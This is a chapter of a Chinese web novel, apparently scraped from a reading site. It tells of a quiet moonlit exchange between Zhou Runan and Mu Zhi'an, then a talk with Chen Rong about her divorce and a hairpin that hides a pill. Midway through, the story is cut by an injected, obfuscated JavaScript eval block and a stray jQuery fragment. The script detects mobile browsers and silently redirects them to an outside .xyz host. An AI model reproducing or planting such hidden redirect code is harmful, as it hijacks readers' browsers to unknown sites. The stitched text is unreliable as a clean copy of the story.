47. 等待
作品:《你好看病吗,包治的》 接下来是如何回家的,又是怎么洗漱睡在床上的,周茹楠全然没了印象。
等她回过神,已经盯着床帘上的绣花很长一段时间,久到眼眶都隐隐发涩。
脑海里还在不断播放着慕之安的那些话语,她也不是个迟钝的人,自然能察觉出今晚气氛的异常,可是……像是慕之安这种人,说不定话中有话?而且万一她误解了对方的心意,那岂不是很尴尬?
更糟糕的是,她似乎想不起来自己当时是怎么回答的……明日见面,两个人之间的气氛不会很怪吧……脑海中的问题接连不断抛出来,扰得周茹楠无法静心睡觉。
辗转反侧,她最终爬起来,准备在院子里转转散心。谁知推开门,慕之安独坐石凳,仰首赏月的身影便撞入眼帘。心口蓦地一跳,还没想好是进还是退,脚却先一步踏入院子,向慕之安走去。
走近后,一股香甜醇厚的酒香在微凉夜色中氤氲开来,周茹楠眼睛一亮,她这具身体一杯倒,以后睡不着可以喝杯酒啊!
她还没开口,慕之安已经发现了她的存在,回过头,“周姑娘也睡不着吗?”他顿了顿,声音更加轻缓,“莫非是因为方才我的那番话?”
“……”没想到对方如此了当直接,周茹楠硬着头皮点点头。慕之安低低一笑,“那些话,周姑娘不必放在心上。”
周茹楠立马反驳道:“那些话想必出自你的真心,怎么可能不在意呢?”意识到自己的语气不妥,又连忙解释,“我不是说你不该说这些话的意思,而是……我需要一些时间,思索你究竟是什么意思。”
不料对方听到她的话,面上掠过一丝疑惑与迷茫,他微微低头,思考片刻,再抬眼眸色清亮:“原来是我说得还不够清楚,那我——”
“等等,”周茹楠立马抬手打断,“我、我想自己先琢磨清楚。”
慕之安张张口,未尽的话语化作一声轻叹,悄然融入溶溶月色之中。
“好。”
两人就这样坐在院中不再交谈,清辉无声倾泻,将石桌、人影连同周遭的一切都铺上一层柔和的银霜。夜凉如水,月华仿若有了实质的重量,沉甸甸落在肩头。
明明喝酒的是慕之安,可周茹楠却觉得自己被空中的酒香丝丝缕缕浸醉,意识也微微浮动。她侧头望向一旁的慕之安,视线蒙了层模糊的界限,只见月下的身影生了重影,一个、两个、三个……
她不解地揉揉眼,困意便在松懈的这一瞬,伴随着一声小小的哈欠汹涌袭来——自己居然在院里坐着坐着就困了。
按理来说,这是个很好地时机起身离开,但那句“我困了,先回去”无论如何都说不出口,双脚仿佛被地上拉长的影子绊住,挪动不得。
好奇怪的氛围……周茹楠轻晃着脚尖,目光落在冰凉的石桌上,数着交错的纹路强迫自己保持一丝清醒。同时她也注意到,慕之安手中的那杯酒从她来后,就一直握在手里,过了这么久,杯子里还有酒吗?
指尖无意在冰凉的白瓷酒壶上轻叩,发出细微声响。慕之安的视线循着声音落在周茹楠身上,只见她一手撑着脸,半眯着眼,嘴角噙着一抹笑瞧着自己。心头微紧,他不由地拢了拢握着酒杯的手指,喉间轻滚,才开口:
“怎么了?”
“需要给你倒酒吗?”她没头没脑蹦出这句话。
慕之安没有看向酒杯,只是摇摇头,“不用了,饮多了,怕耽误明日早课。”这是托词。
他的酒量,再饮上几杯倒不至于失态。只是……若对方又想找他谈心说些话,他醉了,错过了可怎么办?而且……至少此刻能与周茹楠共沐月色,他想让自己保持极致的清醒和克制,将每一寸光阴都细细品味。
月色越发清朗,似无声的溪流从天空流淌而下,淹湿了整个庭院。
再这么待一会吧……他在心底默念,不知是向自己还是身旁的人,又或是天上的明月,如此祈求。
“慕之安……”一旁的人忽然开口呼唤他的名字,只见周茹楠仿佛在纠结什么,就连之后的话语都仿若深夜的清风,缥缈朦胧,要慕之安全神贯注从那些音里拼凑出句子,“其实我……”后半句话不知是被风吹散还是根本没说。
看到对方纠结的神情,慕之安打消追问的念头,只是弯起安慰的笑,“周姑娘,在我面前,不必勉强。”
他顿了顿,目光温和而又坚定地望着她,银白色的月光在他眼中映出温润的光泽,“我会一直等着……等敞开心扉,愿意向我倾诉的那一日。那时,无论你将我视作何人,都好。”
慕之安声音低沉,带着令人心安的暖意,轻轻抚过微凉的月夜,也拂过周茹楠的心尖。
“夜深了,回去休息吧。”
"……好。"周茹楠鬼使神差地答应并转身朝屋里走去,直到回到房间关上门,她动作一愣。她好像还有话要说,可现在脑海里除了慕之安月下的身影,竟什么都想不起来。
一夜无眠,周茹楠照往常那般去看望陈夫人和林姑娘。
“林姑娘,我来给你把脉了。”周茹楠与陈蓉一同来林姑娘屋里,听到她的话,林姑娘乖巧地坐好,伸出手,“请。”
不知为何周茹楠感到一阵惊悚,虽然来之前陈蓉便已经告诉她今日林姑娘的情况,说十分安静,让做什么就做什么,像丢了魂一样。
一开始她对“丢了魂”还没什么概念,现在看来面前的人如同一个毫无灵魂,任人摆布的提线人偶,周茹楠暗自下定决心要尽快研制出解药,不敢想象宋郎中若将药卖给他人,会被如何使用。
给林姑娘开了安神药和安胎药,又对贴身丫鬟叮嘱了一些注意事项,周茹楠与陈蓉才离开去其他地方谈论事情。昨日向罗玉忠提出和离后,陈蓉面色就红润了不少,可见此事一直压在心头让她焦虑憔悴。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858040|172716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来到陈蓉的茶室,两人刚落座,对方直接开口询问道:“周姑娘,林姑娘的病什么时候可以治好……我已经派人去找我父亲,你若需要帮助,我便让父亲带几名郎中帮你。”
“多谢夫人,不过我已经找到能帮忙制作解药的人了。”周茹楠回答道,随后又想起一事,“与罗玉忠和离之后,夫人是要随你父亲回家还是……”
“这儿就是我家。”陈蓉满意地勾起嘴角。
“……”沉默片刻,周茹楠还没反应过来,而陈蓉贴心解释道:“那废物与我结为夫妻后,从我家或是借我家之名做了许多便利之事,也惹了不少篓子,出了问题总有群人找到我父亲那边去。”
“他还偷偷将我嫁妆卖钱,虽说我家也不缺那些钱,但既然要和离,有些账还是要算明白,免得日后藕断丝连。”
“林林总总算下来,拿这套宅子抵偿还算便宜他了。”
周茹楠边听边忍不住鼓掌,最后连忙点头道:“夫人想得如此明白,我便也能放心了。”
“那林姑娘……”
“林姑娘是个无辜的可怜人……况且这宅子这么大,怎么会容不下她呢?只是……”陈蓉顿了下,叹口气,“希望她能早日好起来。”
“不过我信周姑娘能研制出解药,也不算着急。”陈蓉抿了口杯中茶,发觉周茹楠直勾勾盯着自己,又或是说,盯着自己头顶,不免有些疑惑,“周姑娘?”
周茹楠回过神,直接将心中所想道出:“陈夫人……我记得昨日你拔出一枚簪子,从中倒出药丸,我可否看一看那簪子?”
“当然可以。”话音落下,陈蓉已经将簪子摘下来,周茹楠双手接过,细细打量。
这枚银簪在陈蓉头上的金钗银饰中不算显眼,简单的雕花以及簪子头上刻有几朵小花,小花之下坠有流苏。周茹楠回想之前陈蓉的动作,似乎是扭转小花,就能从簪子头倒出一枚药丸。
她按照记忆里的动作和方向转动银花,只见簪头竟然随之出现一个镂空的小孔,而她也敏锐闻到保命丸的味道。这实在过于神奇,她反复操作了好几次,同时回想着柳馨那枚簪子是否会像陈蓉的,也藏有东西呢?
“周姑娘若是喜欢,这枚簪子我送你了。”陈蓉正愁要如何报答周茹楠,见她心仪这枚簪子,立即将此物送给对方。谁知对方晃晃头,把簪子退了回来,“陈夫人,你还有其他像这种的簪子吗?这种簪子……很常见吗?”
见面前人眉头紧锁的模样,陈蓉明白周茹楠怕是看到自己的簪子想起什么,便认真思索了一番,“嗯……这簪子不算常见,我也是从一朋友那儿知晓还有这种簪子的。”
“之后觉得新奇好用,便叫人做了几个,里面都装着保命丸,想着若有天发生事故,还能有一线生机。”
“那位朋友……”周茹楠深吸一口气,手攥紧成拳微微颤抖,“该不会与李员外有关吧?”